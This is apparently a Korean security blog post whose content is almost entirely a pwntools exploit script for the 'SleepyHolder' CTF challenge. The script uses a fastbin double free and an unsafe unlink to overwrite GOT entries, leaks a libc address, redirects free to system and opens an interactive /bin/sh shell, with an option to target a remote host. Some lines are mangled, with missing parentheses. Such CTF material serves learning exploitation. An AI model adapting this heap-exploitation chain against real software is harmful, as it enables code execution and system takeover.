본문 바로가기

Exploit

Consolidate

SMALL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#-*- coding: utf-8 -*-
#!/usr/bin/env python
from pwn import *
import binascii
import time
import sys
env = {'LD_PRELOAD' : "/lib/x86_64-linux-gnu/libc.so.6"}
 
 
 
 
#Env setting
debug = False
PIE = False
Remote = False
binary_path = "./SleepyHolder"
 
 
 
#binary and dll
elf = ELF(binary_path)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
 
context(log_level='debug')
context.binary = './SleepyHolder'
 
context.terminal = [ "tmux",'splitw''-v''-h''-l''90']
 
 
context.update(binary=elf)
 
 
if Remote == False:
    s = process("./SleepyHolder")
else:
    debug = False
    s = remote("server.com",1802)
 
main_malloc = 0x400DA2 
 
if debug :
    bp_list = [0x400BBE,0x400AEF,0x400C81]
    bp_str = get_bp_str(s,bp_list)
    print util.proc.pidof(s)
    gdb.attach(s,'''
    %s
    c''' % (bp_str))
 
 
 
    #TODO : hugeflag setting
global huge_flag
huge_flag = 0
 
def huge_alloc(index, content):
    s.recvuntil("3. Renew secret")
    s.send('1')
    s.recvuntil("2. Big secret")
    s.recvuntil("3. Keep a huge secret and lock it forever")
    s.send(str(index))
    s.recvuntil("Tell me your secret: ")
    s.send(content)
 
 
def alloc(index, content):
    s.recvuntil("3. Renew secret")
    s.send('1')
    s.recvuntil("2. Big secret")
    s.send(str(index))
    s.recvuntil("Tell me your secret: ")
    s.send(content)
 
def rewrite(index, content):
    s.recvuntil("3. Renew secret")
    s.send('3')
    s.recvuntil('2. Big secret')
    s.send(str(index))
    s.recvuntil("Tell me your secret: ")
    s.send(content)
 
 
def free(index):
    s.recvuntil("3. Renew secret")
    s.send('2')
    s.recvuntil("2. Big secret")
    s.send(str(index))
 
 
small = 0x6020d0
 
s.recvuntil("Waking Sleepy Holder up ...")
 
 
log.info("[*] fastbins allocation")
huge_alloc(1,p64(0x602018-0x10))  #fastbins
 
log.info("[*] smallbins allocation")
huge_alloc(2,"/bin/sh\x00"#smallbins to top chunk sparated
 
log.info("[*] 0 fastbins free")
free(1#fastbins free
 
log.info("[*] larg bins alloc, fastbins to smallbins")
huge_alloc(3,"bbbbb"# large bins alloc, fastbins list bins move to unsortedbins
 
log.info('[*] double free bug fastbins')
free(1)
 
log.info('[*] alloc fastbins duplicate')
alloc(1,"1234")
 
#make fakechunk
#What is the gaol ?
payload = ""
payload += p64(0)
payload += p64(0x20)      #size
payload += p64(small-0x18)#fd
payload += p64(small-0x10)#bk
payload += p64(0x20)      #next chunk prev_size
payload += p64(0)
log.info('[*]make fake chunk')
rewrite(1,payload)
 
log.info('[*] trigger unsafe unlink exploit')
log.info('[*] we can put the fd_addr to global_address(small)')
free(2)
 
 
plt_puts = elf.plt['puts']
got_atoi = elf.got['atoi']
got_free = elf.got['free']
payload = ""
 
 
 
payload += p64(0)
payload += p64(got_atoi)
payload += p64(0)
payload += p64(got_free)
log.info('[*] To prepared, free got overwrit payload')
rewrite(1,payload)
 
log.info('[*] free got modify to puts plt')
log.info("[*] plt_puts %s"% hex(plt_puts))
rewrite(1,p64(plt_puts))
 
s.sendline('2'#free --> puts plt modify
print s.recvuntil("2. Big secret\n")
time.sleep(0.4)
s.sendline('2'#free(big_data_qword_6020C0) --> puts(got_atoi)
 
libc_atoi = u64(s.recv(6)+"\x00\x00")
#log.info('[*] libc atoi %x'%(atoi_libc))
 
 
libc_base = libc_atoi -libc.symbols['atoi']
 
libc_system = libc_base + libc.symbols['system']
 
rewrite(1,p64(libc_system)) #puts --> system func
alloc(2,'/bin/sh\x00'#read(0, big_data_qword_6020C0, 0xFA0uLL);
                   #big_data => /bin/sh\x00
 
 
s.sendline('2')        #free --> system(big_data)
s.sendline('2')           #free --> system(big_data)
 
 
 
 
 
 
 
s.interactive()
 
cs


LIST

'Exploit' 카테고리의 다른 글

취약점 패턴 - 1  (0) 2022.07.11
unsafe unlink  (0) 2018.07.07
SSP thread bypass  (0) 2018.04.28
cmd injection  (0) 2018.04.15
afl 설치 및 사용  (0) 2018.04.01